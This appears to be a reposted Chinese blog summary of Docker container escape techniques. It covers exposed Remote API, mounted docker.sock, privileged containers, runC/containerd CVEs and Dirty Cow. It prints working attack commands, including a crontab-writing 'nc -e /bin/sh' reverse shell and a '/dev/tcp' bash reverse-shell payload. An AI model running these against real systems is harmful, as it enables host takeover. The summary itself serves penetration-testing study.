docker逃逸总结

Posted TheTh1nk3r

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了docker逃逸总结相关的知识,希望对你有一定的参考价值。

0x00 检查是否在docker容器中

通过以下两个地方来判断

# 是否存在此文件
/.dockerenv
# 在其中是否包含docker字符串
/proc/1/cgroup

除了上面两种外还有其他方式判断,如检测mount、fdisk -l查看硬盘 、判断PID 1的进程名等也可用来辅助判断。

容器逃逸一键检测
https://github.com/Xyntax/CDK/releases/tag/0.1.6

0x01 Docker Remote API 未授权访问

Docker Remote API 可以执行 Docker 命令,Docker 守护进程监听在 0.0.0.0,可直接调用 API 来操作 Docker

Docker Remote API 是一个取代远程命令行界面(rcli)的REST API。Docker Remote API如配置不当可导致未授权访问,攻击者利用 docker client 或者 http 直接请求就可以访问这个 API,可能导致敏感信息泄露,攻击者也可以删除Docker上的数据。 攻击者可进一步利用Docker自身特性,直接访问宿主机上的敏感信息,或对敏感文件进行修改,最终完全控制服务器

漏洞判断

# 返回目标宿主机运行容器信息,漏洞存在
# 这个命令和在宿主机上运行docker ps类似
docker -H tcp://172.19.101.34:2375 ps

exp:

import docker

client = docker.DockerClient(base_url=\'http://your-ip:2375/\')
data = client.containers.run(\'alpine:latest\', r\'\'\'sh -c "echo \'* * * * * /usr/bin/nc your-ip 21 -e /bin/sh\' >> /tmp/etc/crontab" \'\'\', remove=True, volumes={\'/etc\': {\'bind\': \'/tmp/etc\', \'mode\': \'rw\'}})

0x02 docker.sock挂载到容器内部

当这样挂载时,在docker容器中可以调用和执行宿主机的docker
将docker宿主机的docker文件和docker.sock文件挂载到容器中

在容器中查看宿主机docker信息

docker -H unix:///var/run/docker.sock info

运行一个新容器并挂载宿主机根路径:

docker -H unix:///var/run/docker.sock run -it -v /:/test ubuntu /bin/bash

在新容器的 /test 目录下,就可以访问到宿主机的全部资源,接下来就是写入 SSH 密钥或者写入计划任务,获取 shell

0x03 Docker 高危启动参数

特权模式 –privileged

使用特权模式启动的容器时,docker 管理员可通过 mount 命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令

0x04 Docker 软件设计引起的逃逸

1.4.1 CVE-2019-5736

CVE-2019-5736 是 runC 的 CVE 漏洞编号,runC 最初是作为 Docker 的一部分开发的,后来作为一个单独的开源工具和库被提取出来,在 docker 整个架构的运行过程中,Containerd 向 docker 提供运行容器的 API,二者通过 grpc 进行交互。containerd 最后通过 runc 来实际运行容器。

影响版本:

  • docker version <=18.09.2
  • RunC version <=1.0-rc6

利用条件:

攻击者可控 image,进一步控制生成的 container
攻击者具有某已存在容器的写权限,且可通过 docker exec 进入

# 下载 poc
git clone https://github.com/Frichetten/CVE-2019-5736-PoC

# 修改Payload
vi main.go
payload = "#!/bin/bash \\n bash -i >& /dev/tcp/172.19.0.1/4444 0>&1"

# 编译生成 payload
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

# 拷贝到 docker 容器中执行
docker cp ./main 248f8b7d3c45:/tmp

在容器中执行

root@d1b112ea4a5e:/tmp# ./main
[+] Overwritten /bin/sh successfully
[+] Found the PID: 16
[+] Successfully got the file handle
[+] Successfully got write handle &{0xc8201231e0}

当管理员通过exec进入容器的时候,触发payload,从而达到逃逸

1.4.2 CVE-2019-14271

Copy命令允许从容器、向容器中、或容器之间复制文件。语法与标准的unix cp命令非常相似。要从容器中复制/var/logs,语法是docker cp container_name:/var/logs /some/host/path

可能的攻击场景有Docker用户从另一个Docker处复制文件:

  • 容器运行含有恶意libnss_*.so库的镜像
  • 容器中含有被攻击者替换的libnss_*.so库

https://xz.aliyun.com/t/6806
docker-cp逃逸分析

1.4.3 CVE-2019-13139

https://staaldraad.github.io/post/2019-07-16-cve-2019-13139-docker-build/

1.4.4 CVE-2020-15257

Containerd 是一个控制 runC 的守护进程,提供命令行客户端和API,用于在一个机器上管理容器。在特定网络条件下,攻击者可通过访问containerd-shim API,从而实现Docker容器逃逸

影响版本:

  • containerd < 1.4.3
  • containerd < 1.3.9

cve-2020-15257复现

0x05 内核漏洞

1.5.1 CVE-2016-5195

Dirty Cow(CVE-2016-5195)是 Linux 内核中的权限提升漏洞,通过它可实现 Docker 容器逃逸,获得 root 权限的 shell。
Docker与宿主机共享内核,因此容器需要运行在存在Dirty Cow漏洞的宿主机里

CVE-2016-5195-exp

0x06 docker管理平台

1.6.1portainer后台拿shell

创建容器挂载宿主机目录,通过chroot切换Shell

以上是关于docker逃逸总结的主要内容,如果未能解决你的问题,请参考以下文章

针对docker系统的渗透测试方法

技术干货 | Docker 容器逃逸案例汇集

基于网络安全的Docker逃逸

Docker远程API未授权访问导致的Docker逃逸

Docker远程API未授权访问导致的Docker逃逸

docker逃逸漏洞复现(CVE-2019-5736)